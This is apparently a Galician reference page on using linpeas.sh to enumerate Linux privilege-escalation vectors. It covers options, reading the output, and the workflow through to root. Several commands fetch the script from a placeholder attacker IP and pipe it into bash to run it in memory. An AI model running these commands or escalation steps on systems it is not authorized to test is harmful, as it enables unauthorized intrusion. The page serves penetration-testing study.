Ir ao contido

linpeas.sh - Linux Privilege Escalation Awesome Script

Descrición

Script automatizado para enumerar configuracións erróneas e vectores de escalada de privilexios en sistemas Linux. Parte da suite PEASS (Privilege Escalation Awesome Scripts Suite).

Descarga e uso

# Descargar desde GitHub
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# Ou usar curl
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

# Dar permisos de execución
chmod +x linpeas.sh

# Executar
./linpeas.sh

Opcións principais

Opción Descrición
-a Executar todas as comprobacións (inclúe as lentas)
-s Superfast (só comprobacións rápidas)
-q Non mostrar o banner
-o <file> Gardar saída nun ficheiro
-L <nivel> Nivel de detalle (1-3)
-P Indicar que o usuario ten contrasinal
-N Non usar cores

Exemplos de uso

# Execución básica
./linpeas.sh

# Execución rápida
./linpeas.sh -s

# Gardar saída nun ficheiro
./linpeas.sh -a | tee linpeas_output.txt

# Sen cores (mellor para gardar en ficheiro)
./linpeas.sh -N > linpeas_report.txt

# Nivel de detalle alto
./linpeas.sh -L 3

# Execución completa con saída a ficheiro
./linpeas.sh -a -N -o linpeas_full.txt

Métodos de transferencia ao obxectivo

Desde máquina atacante

# 1. Servidor HTTP en atacante
python3 -m http.server 8000

# En obxectivo:
wget http://IP_ATACANTE:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# 2. Descargar e executar directamente (sen gardar)
curl http://IP_ATACANTE:8000/linpeas.sh | bash

# 3. Copiar mediante SCP (se hai credenciais SSH)
scp linpeas.sh usuario@IP_OBXECTIVO:/tmp/

# 4. Usando base64 (para copiar/pegar)
# En atacante:
base64 -w0 linpeas.sh

# En obxectivo:
echo "BASE64_STRING" | base64 -d > linpeas.sh
chmod +x linpeas.sh

Execución desde memoria (sen tocar disco)

# Descargar e executar directamente desde memoria
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

# Ou desde servidor propio
curl http://IP_ATACANTE:8000/linpeas.sh | bash

Áreas principais que analiza

1. Información do sistema

  • Versión do kernel
  • Sistema operativo
  • Variables de entorno
  • Usuarios e grupos

2. Permisos especiais

  • Binarios SUID/SGID
  • Capabilities
  • Ficheiros escribibles en PATH
  • Directorios escribibles

3. Software e servizos

  • Versións de software vulnerable
  • Servizos en execución
  • Cronjobs
  • Timers de systemd

4. Procesos

  • Procesos en execución como root
  • Binarios con permisos especiais

5. Rede

  • Conexións activas
  • Portos escoitando
  • Interfaces de rede

6. Ficheiros interesantes

  • Ficheiros de configuración
  • Logs
  • Backups
  • Historiais de comandos
  • Chaves SSH

7. Contrasinais

  • Contrasinais en ficheiros
  • Contrasinais en memoria
  • Hashes en /etc/shadow

Interpretación de resultados

Códigos de cores (por defecto)

  • 🔴 VERMELLO/FUCSIA: 95% de probabilidade de escalada
  • 🟡 AMARELO: Moi interesante, verificar
  • 🔵 AZUL: Interesante, revisar
  • 🟢 VERDE: Información xeral

Buscar estas palabras clave na saída

# Buscar resultados críticos
cat linpeas_output.txt | grep -i "95%"
cat linpeas_output.txt | grep -i "password"
cat linpeas_output.txt | grep -i "writable"
cat linpeas_output.txt | grep -i "suid"
cat linpeas_output.txt | grep -i "capability"

Vectores comúns que detecta

1. Sudo mal configurado

# Detecta comandos con NOPASSWD en sudo -l

2. Binarios SUID/SGID

# Lista binarios con permisos especiais
# Compara con GTFOBins automaticamente

3. Cronjobs escribibles

# Detecta cronjobs que poden ser modificados

4. Capabilities perigosas

# Enumera capabilities como cap_setuid

5. Kernel exploits

# Suxire exploits segundo versión do kernel

6. Ficheiros escribibles

# /etc/passwd escribible
# Scripts en PATH escribibles
# Ficheiros de servizos escribibles

Workflow recomendado

# 1. Executar linpeas e gardar saída
./linpeas.sh -a | tee linpeas_output.txt

# 2. Revisar saída buscando marcadores críticos (vermello/fucsia)
grep -i "95%" linpeas_output.txt

# 3. Verificar seccións específicas
# - Sudo permissions
# - SUID binaries
# - Capabilities
# - Writable files
# - Cron jobs

# 4. Explotar o vector identificado
# Usar GTFOBins ou HackTricks como referencia

# 5. Validar acceso root
id
whoami

Alternativas e complementos

# LinEnum (máis antigo)
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# LSE (Linux Smart Enumeration)
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh

# Unix-privesc-check
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check

Notas adicionais

  • Linpeas é a ferramenta máis completa e actualizada para enumeración Linux
  • Sempre executar desde /tmp ou /dev/shm se é posible
  • A saída pode ser moi longa, gardar sempre nun ficheiro
  • Os marcadores de cores axudan a priorizar vectores de ataque
  • Actualízase frecuentemente con novos checks e exploits
  • Forma parte de PEASS-ng (tamén existe WinPEAS para Windows)
  • Repository oficial: https://github.com/carlospolop/PEASS-ng
  • Combinar con enumeración manual para mellores resultados
  • Non require privilexios especiais para executarse